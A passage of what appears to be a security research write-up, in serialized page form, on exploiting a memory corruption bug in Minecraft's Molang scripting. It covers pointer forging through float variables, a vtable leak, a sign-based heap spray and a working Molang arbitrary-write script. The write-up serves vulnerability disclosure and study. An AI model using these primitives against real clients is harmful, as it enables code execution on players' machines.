\n",[152554],{"type":20,"tag":119,"props":152555,"children":152556},{"__ignoreMap":7},[152557],{"type":26,"value":152552},{"type":20,"tag":29,"props":152559,"children":152560},{},[152561],{"type":26,"value":152562},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":20,"tag":305,"props":152564,"children":152566},{"code":152565},"variable.b = variable.saved_upper_48;\n",[152567],{"type":20,"tag":119,"props":152568,"children":152569},{"__ignoreMap":7},[152570],{"type":26,"value":152565},{"type":20,"tag":29,"props":152572,"children":152573},{},[152574],{"type":26,"value":152575},"Yielding a valid pointer again:",{"type":20,"tag":305,"props":152577,"children":152579},{"code":152578}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152580],{"type":20,"tag":119,"props":152581,"children":152582},{"__ignoreMap":7},[152583],{"type":26,"value":152578},{"type":20,"tag":29,"props":152585,"children":152586},{},[152587],{"type":26,"value":152588},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":20,"tag":305,"props":152590,"children":152592},{"code":152591},"variable.saved_adjusted_lower_16 = variable.a;\n",[152593],{"type":20,"tag":119,"props":152594,"children":152595},{"__ignoreMap":7},[152596],{"type":26,"value":152591},{"type":20,"tag":29,"props":152598,"children":152599},{},[152600],{"type":26,"value":152601},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":20,"tag":305,"props":152603,"children":152605},{"code":152604},"variable.a = variable.saved_upper_48;\n",[152606],{"type":20,"tag":119,"props":152607,"children":152608},{"__ignoreMap":7},[152609],{"type":26,"value":152604},{"type":20,"tag":29,"props":152611,"children":152612},{},[152613],{"type":26,"value":152614},"This produces the following state:",{"type":20,"tag":305,"props":152616,"children":152618},{"code":152617}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152619],{"type":20,"tag":119,"props":152620,"children":152621},{"__ignoreMap":7},[152622],{"type":26,"value":152617},{"type":20,"tag":29,"props":152624,"children":152625},{},[152626,152628,152633,152635,152641,152643,152649,152651,152656,152658,152663],{"type":26,"value":152627},"As shown, ",{"type":20,"tag":119,"props":152629,"children":152631},{"className":152630},[],[152632],{"type":26,"value":151626},{"type":26,"value":152634}," now contains the upper 16 bits of the address (",{"type":20,"tag":119,"props":152636,"children":152638},{"className":152637},[],[152639],{"type":26,"value":152640},"0x1c80",{"type":26,"value":152642},"), which we can store as ",{"type":20,"tag":119,"props":152644,"children":152646},{"className":152645},[],[152647],{"type":26,"value":152648},"variable.saved_upper_16 = variable.b",{"type":26,"value":152650},". Meanwhile, ",{"type":20,"tag":119,"props":152652,"children":152654},{"className":152653},[],[152655],{"type":26,"value":151612},{"type":26,"value":152657}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":20,"tag":119,"props":152659,"children":152661},{"className":152660},[],[152662],{"type":26,"value":151626},{"type":26,"value":2884},{"type":20,"tag":305,"props":152665,"children":152666},{"code":152482},[152667],{"type":20,"tag":119,"props":152668,"children":152669},{"__ignoreMap":7},[152670],{"type":26,"value":152482},{"type":20,"tag":29,"props":152672,"children":152673},{},[152674],{"type":26,"value":152675},"Leaving us with:",{"type":20,"tag":305,"props":152677,"children":152679},{"code":152678}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152680],{"type":20,"tag":119,"props":152681,"children":152682},{"__ignoreMap":7},[152683],{"type":26,"value":152678},{"type":20,"tag":29,"props":152685,"children":152686},{},[152687],{"type":26,"value":152688},"We can now save the middle 16 bits:",{"type":20,"tag":305,"props":152690,"children":152692},{"code":152691},"variable.saved_middle_16 = variable.a;\n",[152693],{"type":20,"tag":119,"props":152694,"children":152695},{"__ignoreMap":7},[152696],{"type":26,"value":152691},{"type":20,"tag":29,"props":152698,"children":152699},{},[152700],{"type":26,"value":152701},"At this point, we have:",{"type":20,"tag":305,"props":152703,"children":152705},{"code":152704},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[152706],{"type":20,"tag":119,"props":152707,"children":152708},{"__ignoreMap":7},[152709],{"type":26,"value":152704},{"type":20,"tag":29,"props":152711,"children":152712},{},[152713],{"type":26,"value":152714},"All three parts are valid float values, ensuring deterministic calculations.",{"type":20,"tag":29,"props":152716,"children":152717},{},[152718],{"type":26,"value":152719},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":20,"tag":305,"props":152721,"children":152723},{"code":152722},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[152724],{"type":20,"tag":119,"props":152725,"children":152726},{"__ignoreMap":7},[152727],{"type":26,"value":152722},{"type":20,"tag":29,"props":152729,"children":152730},{},[152731],{"type":26,"value":152732},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":20,"tag":305,"props":152734,"children":152736},{"code":152735},"variable.a = variable.saved_adjusted_middle_16;\n",[152737],{"type":20,"tag":119,"props":152738,"children":152739},{"__ignoreMap":7},[152740],{"type":26,"value":152735},{"type":20,"tag":29,"props":152742,"children":152743},{},[152744,152746,152751,152752,152758,152759,152765],{"type":26,"value":152745},"Setting ",{"type":20,"tag":119,"props":152747,"children":152749},{"className":152748},[],[152750],{"type":26,"value":151612},{"type":26,"value":55029},{"type":20,"tag":119,"props":152753,"children":152755},{"className":152754},[],[152756],{"type":26,"value":152757},"0xddcd",{"type":26,"value":463},{"type":20,"tag":119,"props":152760,"children":152762},{"className":152761},[],[152763],{"type":26,"value":152764},"0xddcc + 1",{"type":26,"value":152766},"), and then:",{"type":20,"tag":305,"props":152768,"children":152770},{"code":152769},"variable.b = variable.saved_adjusted_upper_16;\n",[152771],{"type":20,"tag":119,"props":152772,"children":152773},{"__ignoreMap":7},[152774],{"type":26,"value":152769},{"type":20,"tag":29,"props":152776,"children":152777},{},[152778,152780,152785,152787,152793,152794,152800],{"type":26,"value":152779},"Resulting in ",{"type":20,"tag":119,"props":152781,"children":152783},{"className":152782},[],[152784],{"type":26,"value":151626},{"type":26,"value":152786}," value becoming ",{"type":20,"tag":119,"props":152788,"children":152790},{"className":152789},[],[152791],{"type":26,"value":152792},"0x1c81",{"type":26,"value":463},{"type":20,"tag":119,"props":152795,"children":152797},{"className":152796},[],[152798],{"type":26,"value":152799},"0x1c80 + 1",{"type":26,"value":22362},{"type":20,"tag":305,"props":152802,"children":152804},{"code":152803}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152805],{"type":20,"tag":119,"props":152806,"children":152807},{"__ignoreMap":7},[152808],{"type":26,"value":152803},{"type":20,"tag":29,"props":152810,"children":152811},{},[152812],{"type":26,"value":152813},"Now we save the adjusted upper 48 bits:",{"type":20,"tag":305,"props":152815,"children":152817},{"code":152816},"variable.saved_adjusted_upper_48 = variable.a;\n",[152818],{"type":20,"tag":119,"props":152819,"children":152820},{"__ignoreMap":7},[152821],{"type":26,"value":152816},{"type":20,"tag":29,"props":152823,"children":152824},{},[152825],{"type":26,"value":152826},"Finally, we attach the lower 16 bits:",{"type":20,"tag":305,"props":152828,"children":152830},{"code":152829},"variable.a = variable.saved_adjusted_lower_16;\n",[152831],{"type":20,"tag":119,"props":152832,"children":152833},{"__ignoreMap":7},[152834],{"type":26,"value":152829},{"type":20,"tag":305,"props":152836,"children":152838},{"code":152837}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152839],{"type":20,"tag":119,"props":152840,"children":152841},{"__ignoreMap":7},[152842],{"type":26,"value":152837},{"type":20,"tag":29,"props":152844,"children":152845},{},[152846],{"type":26,"value":152847},"And by setting:",{"type":20,"tag":305,"props":152849,"children":152851},{"code":152850},"variable.b = variable.saved_adjusted_upper_48;\n",[152852],{"type":20,"tag":119,"props":152853,"children":152854},{"__ignoreMap":7},[152855],{"type":26,"value":152850},{"type":20,"tag":29,"props":152857,"children":152858},{},[152859],{"type":26,"value":152860},"We forge the final adjusted pointer:",{"type":20,"tag":305,"props":152862,"children":152864},{"code":152863}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152865],{"type":20,"tag":119,"props":152866,"children":152867},{"__ignoreMap":7},[152868],{"type":26,"value":152863},{"type":20,"tag":17197,"props":152870,"children":152871},{},[],{"type":20,"tag":29,"props":152873,"children":152874},{},[152875,152877,152882],{"type":26,"value":152876},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":20,"tag":119,"props":152878,"children":152880},{"className":152879},[],[152881],{"type":26,"value":152408},{"type":26,"value":152364},{"type":20,"tag":29,"props":152884,"children":152885},{},[152886,152888,152893,152895,152900,152902,152908,152910,152915],{"type":26,"value":152887},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":20,"tag":119,"props":152889,"children":152891},{"className":152890},[],[152892],{"type":26,"value":152408},{"type":26,"value":152894},". Instead, we need any two pointers on the heap - one pointing to ",{"type":20,"tag":119,"props":152896,"children":152898},{"className":152897},[],[152899],{"type":26,"value":29102},{"type":26,"value":152901}," and the other to ",{"type":20,"tag":119,"props":152903,"children":152905},{"className":152904},[],[152906],{"type":26,"value":152907},"addr + 2",{"type":26,"value":152909}," (as long as ",{"type":20,"tag":119,"props":152911,"children":152913},{"className":152912},[],[152914],{"type":26,"value":29102},{"type":26,"value":152916}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":20,"tag":29,"props":152918,"children":152919},{},[152920,152922,152927,152928,152933],{"type":26,"value":152921},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":20,"tag":119,"props":152923,"children":152925},{"className":152924},[],[152926],{"type":26,"value":148382},{"type":26,"value":152167},{"type":20,"tag":119,"props":152929,"children":152931},{"className":152930},[],[152932],{"type":26,"value":151186},{"type":26,"value":152934}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":20,"tag":305,"props":152936,"children":152938},{"code":152937},"variable.corrupted_var_map_ptr = variable.a;\n",[152939],{"type":20,"tag":119,"props":152940,"children":152941},{"__ignoreMap":7},[152942],{"type":26,"value":152937},{"type":20,"tag":29,"props":152944,"children":152945},{},[152946,152948,152953,152955,152961],{"type":26,"value":152947},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":20,"tag":119,"props":152949,"children":152951},{"className":152950},[],[152952],{"type":26,"value":37568},{"type":26,"value":152954}," field (in this case, the reconstructed pointer) and writes it to ",{"type":20,"tag":119,"props":152956,"children":152958},{"className":152957},[],[152959],{"type":26,"value":152960},"variable.corrupted_var_map_ptr",{"type":26,"value":152962},", even though the type itself is only a 32-bit float.",{"type":20,"tag":17297,"props":152964,"children":152966},{"id":152965},"finding-misaligned-pointers",[152967],{"type":26,"value":152968},"Finding Misaligned Pointers",{"type":20,"tag":29,"props":152970,"children":152971},{},[152972,152974,152979,152980,152986],{"type":26,"value":152973},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":20,"tag":119,"props":152975,"children":152977},{"className":152976},[],[152978],{"type":26,"value":12350},{"type":26,"value":9392},{"type":20,"tag":119,"props":152981,"children":152983},{"className":152982},[],[152984],{"type":26,"value":152985},"ptr + 2",{"type":26,"value":152987},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":20,"tag":29,"props":152989,"children":152990},{},[152991,152996,152997,153002,153004,153009,153011,153016,153018,153023,153025,153030,153032,153038,153039,153044],{"type":20,"tag":119,"props":152992,"children":152994},{"className":152993},[],[152995],{"type":26,"value":151362},{"type":26,"value":13845},{"type":20,"tag":119,"props":152998,"children":153000},{"className":152999},[],[153001],{"type":26,"value":151385},{"type":26,"value":153003}," found inside every entity object. As noted earlier, a ",{"type":20,"tag":119,"props":153005,"children":153007},{"className":153006},[],[153008],{"type":26,"value":151216},{"type":26,"value":153010}," contains three pointers: ",{"type":20,"tag":119,"props":153012,"children":153014},{"className":153013},[],[153015],{"type":26,"value":148382},{"type":26,"value":153017}," (the start of the allocated buffer), ",{"type":20,"tag":119,"props":153019,"children":153021},{"className":153020},[],[153022],{"type":26,"value":7537},{"type":26,"value":153024}," (just past the last element) and ",{"type":20,"tag":119,"props":153026,"children":153028},{"className":153027},[],[153029],{"type":26,"value":151315},{"type":26,"value":153031}," (the end of the allocated buffer). Because the element type is ",{"type":20,"tag":119,"props":153033,"children":153035},{"className":153034},[],[153036],{"type":26,"value":153037},"uint16_t",{"type":26,"value":100555},{"type":20,"tag":119,"props":153040,"children":153042},{"className":153041},[],[153043],{"type":26,"value":7537},{"type":26,"value":153045}," pointer advances by 2 bytes each time a new element is added.",{"type":20,"tag":29,"props":153047,"children":153048},{},[153049,153051,153056,153058,153064],{"type":26,"value":153050},"We can make the ",{"type":20,"tag":119,"props":153052,"children":153054},{"className":153053},[],[153055],{"type":26,"value":7537},{"type":26,"value":153057}," pointer equal to ",{"type":20,"tag":119,"props":153059,"children":153061},{"className":153060},[],[153062],{"type":26,"value":153063},"cap - 2",{"type":26,"value":153065}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":20,"tag":305,"props":153067,"children":153069},{"code":153068}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[153070],{"type":20,"tag":119,"props":153071,"children":153072},{"__ignoreMap":7},[153073],{"type":26,"value":153068},{"type":20,"tag":17197,"props":153075,"children":153076},{},[],{"type":20,"tag":29,"props":153078,"children":153079},{},[153080,153082,153087,153089,153094,153096,153101,153103,153108,153109,153114],{"type":26,"value":153081},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":20,"tag":119,"props":153083,"children":153085},{"className":153084},[],[153086],{"type":26,"value":148382},{"type":26,"value":153088}," pointer of ",{"type":20,"tag":119,"props":153090,"children":153092},{"className":153091},[],[153093],{"type":26,"value":151186},{"type":26,"value":153095}," in the entity object above, one that would index ",{"type":20,"tag":119,"props":153097,"children":153099},{"className":153098},[],[153100],{"type":26,"value":7537},{"type":26,"value":153102}," and the final ",{"type":20,"tag":119,"props":153104,"children":153106},{"className":153105},[],[153107],{"type":26,"value":151315},{"type":26,"value":153088},{"type":20,"tag":119,"props":153110,"children":153112},{"className":153111},[],[153113],{"type":26,"value":151362},{"type":26,"value":153115}," also in the same entity object above.",{"type":20,"tag":29,"props":153117,"children":153118},{},[153119,153121,153127,153128,153134,153136,153141,153142,153147,153149,153154,153156,153161,153162,153167,153169,153174],{"type":26,"value":153120},"The corrupted variables ",{"type":20,"tag":119,"props":153122,"children":153124},{"className":153123},[],[153125],{"type":26,"value":153126},"variable.corrupted_len_ptr",{"type":26,"value":9392},{"type":20,"tag":119,"props":153129,"children":153131},{"className":153130},[],[153132],{"type":26,"value":153133},"variable.corrupted_cap_ptr",{"type":26,"value":153135}," point to ",{"type":20,"tag":119,"props":153137,"children":153139},{"className":153138},[],[153140],{"type":26,"value":7537},{"type":26,"value":9392},{"type":20,"tag":119,"props":153143,"children":153145},{"className":153144},[],[153146],{"type":26,"value":151315},{"type":26,"value":153148},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":20,"tag":119,"props":153150,"children":153152},{"className":153151},[],[153153],{"type":26,"value":152960},{"type":26,"value":153155},", points to the ",{"type":20,"tag":119,"props":153157,"children":153159},{"className":153158},[],[153160],{"type":26,"value":148382},{"type":26,"value":152167},{"type":20,"tag":119,"props":153163,"children":153165},{"className":153164},[],[153166],{"type":26,"value":151186},{"type":26,"value":153168},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":20,"tag":119,"props":153170,"children":153172},{"className":153171},[],[153173],{"type":26,"value":151186},{"type":26,"value":153175},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":20,"tag":29,"props":153177,"children":153178},{},[153179],{"type":26,"value":153180},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":20,"tag":17297,"props":153182,"children":153184},{"id":153183},"leaking-pointers",[153185],{"type":26,"value":153186},"Leaking Pointers",{"type":20,"tag":29,"props":153188,"children":153189},{},[153190,153192,153198],{"type":26,"value":153191},"In C++, an object’s first field is typically a ",{"type":20,"tag":119,"props":153193,"children":153195},{"className":153194},[],[153196],{"type":26,"value":153197},"vtable",{"type":26,"value":153199}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":20,"tag":305,"props":153201,"children":153203},{"code":153202}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n +--+-> +------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[153204],{"type":20,"tag":119,"props":153205,"children":153206},{"__ignoreMap":7},[153207],{"type":26,"value":153202},{"type":20,"tag":29,"props":153209,"children":153210},{},[153211,153212,153217,153219,153224,153226,153231,153233,153238,153240,153245,153246,153251,153253,153258],{"type":26,"value":15015},{"type":20,"tag":119,"props":153213,"children":153215},{"className":153214},[],[153216],{"type":26,"value":37568},{"type":26,"value":153218}," field inside a ",{"type":20,"tag":119,"props":153220,"children":153222},{"className":153221},[],[153223],{"type":26,"value":150859},{"type":26,"value":153225}," is at offset ",{"type":20,"tag":119,"props":153227,"children":153229},{"className":153228},[],[153230],{"type":26,"value":151120},{"type":26,"value":153232},". We already control a corrupted variable, ",{"type":20,"tag":119,"props":153234,"children":153236},{"className":153235},[],[153237],{"type":26,"value":153126},{"type":26,"value":153239},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":20,"tag":119,"props":153241,"children":153243},{"className":153242},[],[153244],{"type":26,"value":7537},{"type":26,"value":152167},{"type":20,"tag":119,"props":153247,"children":153249},{"className":153248},[],[153250],{"type":26,"value":151362},{"type":26,"value":153252}," by 2 bytes, which in turn advances ",{"type":20,"tag":119,"props":153254,"children":153256},{"className":153255},[],[153257],{"type":26,"value":153126},{"type":26,"value":153259}," by 2 bytes.",{"type":20,"tag":29,"props":153261,"children":153262},{},[153263,153265,153270,153272,153278,153279,153284,153285,153290,153292,153297],{"type":26,"value":153264},"By moving ",{"type":20,"tag":119,"props":153266,"children":153268},{"className":153267},[],[153269],{"type":26,"value":7537},{"type":26,"value":153271}," so it equals ",{"type":20,"tag":119,"props":153273,"children":153275},{"className":153274},[],[153276],{"type":26,"value":153277},"cap - 0x38",{"type":26,"value":100555},{"type":20,"tag":119,"props":153280,"children":153282},{"className":153281},[],[153283],{"type":26,"value":37568},{"type":26,"value":152167},{"type":20,"tag":119,"props":153286,"children":153288},{"className":153287},[],[153289],{"type":26,"value":153126},{"type":26,"value":153291}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":20,"tag":119,"props":153293,"children":153295},{"className":153294},[],[153296],{"type":26,"value":153197},{"type":26,"value":153298}," pointer. We can then capture that pointer with:",{"type":20,"tag":305,"props":153300,"children":153302},{"code":153301},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[153303],{"type":20,"tag":119,"props":153304,"children":153305},{"__ignoreMap":7},[153306],{"type":26,"value":153301},{"type":20,"tag":29,"props":153308,"children":153309},{},[153310,153312,153317,153319,153324,153326,153331,153333,153339],{"type":26,"value":153311},"After saving the leak, we add 27 unseen variables to advance ",{"type":20,"tag":119,"props":153313,"children":153315},{"className":153314},[],[153316],{"type":26,"value":7537},{"type":26,"value":153318}," until it equals ",{"type":20,"tag":119,"props":153320,"children":153322},{"className":153321},[],[153323],{"type":26,"value":153063},{"type":26,"value":153325},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":20,"tag":119,"props":153327,"children":153329},{"className":153328},[],[153330],{"type":26,"value":153197},{"type":26,"value":153332}," address in ",{"type":20,"tag":119,"props":153334,"children":153336},{"className":153335},[],[153337],{"type":26,"value":153338},"variable.saved_vtable_pointer",{"type":26,"value":61},{"type":20,"tag":17197,"props":153341,"children":153342},{},[],{"type":20,"tag":29,"props":153344,"children":153345},{},[153346,153348,153353,153355,153361],{"type":26,"value":153347},"A Molang script that performs an arbitrary write of the value ",{"type":20,"tag":119,"props":153349,"children":153351},{"className":153350},[],[153352],{"type":26,"value":41921},{"type":26,"value":153354}," to the address ",{"type":20,"tag":119,"props":153356,"children":153358},{"className":153357},[],[153359],{"type":26,"value":153360},"vtable + 0x1000",{"type":26,"value":153362}," looks like this:",{"type":20,"tag":305,"props":153364,"children":153366},{"code":153365},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[153367],{"type":20,"tag":119,"props":153368,"children":153369},{"__ignoreMap":7},[153370],{"type":26,"value":153365},{"type":20,"tag":17297,"props":153372,"children":153374},{"id":153373},"required-heap-layout",[153375],{"type":26,"value":153376},"Required Heap Layout",{"type":20,"tag":29,"props":153378,"children":153379},{},[153380],{"type":26,"value":153381},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":20,"tag":305,"props":153383,"children":153385},{"code":153384}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[153386],{"type":20,"tag":119,"props":153387,"children":153388},{"__ignoreMap":7},[153389],{"type":26,"value":153384},{"type":20,"tag":29,"props":153391,"children":153392},{},[153393,153395,153401,153403,153408,153410,153415,153417,153422,153423,153428],{"type":26,"value":153394},"The first region (",{"type":20,"tag":119,"props":153396,"children":153398},{"className":153397},[],[153399],{"type":26,"value":153400},"Heap Region 1",{"type":26,"value":153402},") contains alternating ",{"type":20,"tag":119,"props":153404,"children":153406},{"className":153405},[],[153407],{"type":26,"value":151186},{"type":26,"value":153409},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":20,"tag":119,"props":153411,"children":153413},{"className":153412},[],[153414],{"type":26,"value":151216},{"type":26,"value":153416}," pointers of ",{"type":20,"tag":119,"props":153418,"children":153420},{"className":153419},[],[153421],{"type":26,"value":151186},{"type":26,"value":9392},{"type":20,"tag":119,"props":153424,"children":153426},{"className":153425},[],[153427],{"type":26,"value":151362},{"type":26,"value":153429}," from the entity object for our main attack.",{"type":20,"tag":29,"props":153431,"children":153432},{},[153433,153435,153441,153443,153448,153450,153455,153457,153462,153464,153469],{"type":26,"value":153434},"The second region (",{"type":20,"tag":119,"props":153436,"children":153438},{"className":153437},[],[153439],{"type":26,"value":153440},"Heap Region 2",{"type":26,"value":153442},") contains interleaved ",{"type":20,"tag":119,"props":153444,"children":153446},{"className":153445},[],[153447],{"type":26,"value":151362},{"type":26,"value":153449},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":20,"tag":119,"props":153451,"children":153453},{"className":153452},[],[153454],{"type":26,"value":153197},{"type":26,"value":153456}," pointer into ",{"type":20,"tag":119,"props":153458,"children":153460},{"className":153459},[],[153461],{"type":26,"value":153126},{"type":26,"value":153463}," during our main attack. It could be any object with a ",{"type":20,"tag":119,"props":153465,"children":153467},{"className":153466},[],[153468],{"type":26,"value":153197},{"type":26,"value":153470},", but for simplicity we use the entity object.",{"type":20,"tag":29,"props":153472,"children":153473},{},[153474,153476,153482,153484,153489],{"type":26,"value":153475},"During the attack, overwriting another variable's pointer with\n",{"type":20,"tag":119,"props":153477,"children":153479},{"className":153478},[],[153480],{"type":26,"value":153481},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":26,"value":153483}," will very likely clobber the ",{"type":20,"tag":119,"props":153485,"children":153487},{"className":153486},[],[153488],{"type":26,"value":151682},{"type":26,"value":153490}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":20,"tag":29,"props":153492,"children":153493},{},[153494],{"type":26,"value":153495},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":20,"tag":29,"props":153497,"children":153498},{},[153499],{"type":26,"value":153500},"The final exploit proceeds in three stages:",{"type":20,"tag":68,"props":153502,"children":153503},{},[153504,153509,153514],{"type":20,"tag":72,"props":153505,"children":153506},{},[153507],{"type":26,"value":153508},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":20,"tag":72,"props":153510,"children":153511},{},[153512],{"type":26,"value":153513},"Perform the heap spray with signs to create the desired layout for the attack",{"type":20,"tag":72,"props":153515,"children":153516},{},[153517],{"type":26,"value":153518},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":20,"tag":17297,"props":153520,"children":153522},{"id":153521},"initial-corruption-variant-lfh-heap-approach",[153523],{"type":26,"value":153524},"Initial Corruption Variant: LFH Heap Approach",{"type":20,"tag":29,"props":153526,"children":153527},{},[153528],{"type":26,"value":153529},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":20,"tag":29,"props":153531,"children":153532},{},[153533,153535,153540,153541,153547],{"type":26,"value":153534},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":20,"tag":119,"props":153536,"children":153538},{"className":153537},[],[153539],{"type":26,"value":151429},{"type":26,"value":4882},{"type":20,"tag":119,"props":153542,"children":153544},{"className":153543},[],[153545],{"type":26,"value":153546},"last_index",{"type":26,"value":153548}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":20,"tag":29,"props":153550,"children":153551},{},[153552,153554,153559,153560,153565,153567,153572,153574,153579,153581,153586,153588,153594,153595,153601,153602,153608],{"type":26,"value":153553},"The main attack can be arranged by making the resulting index point at the 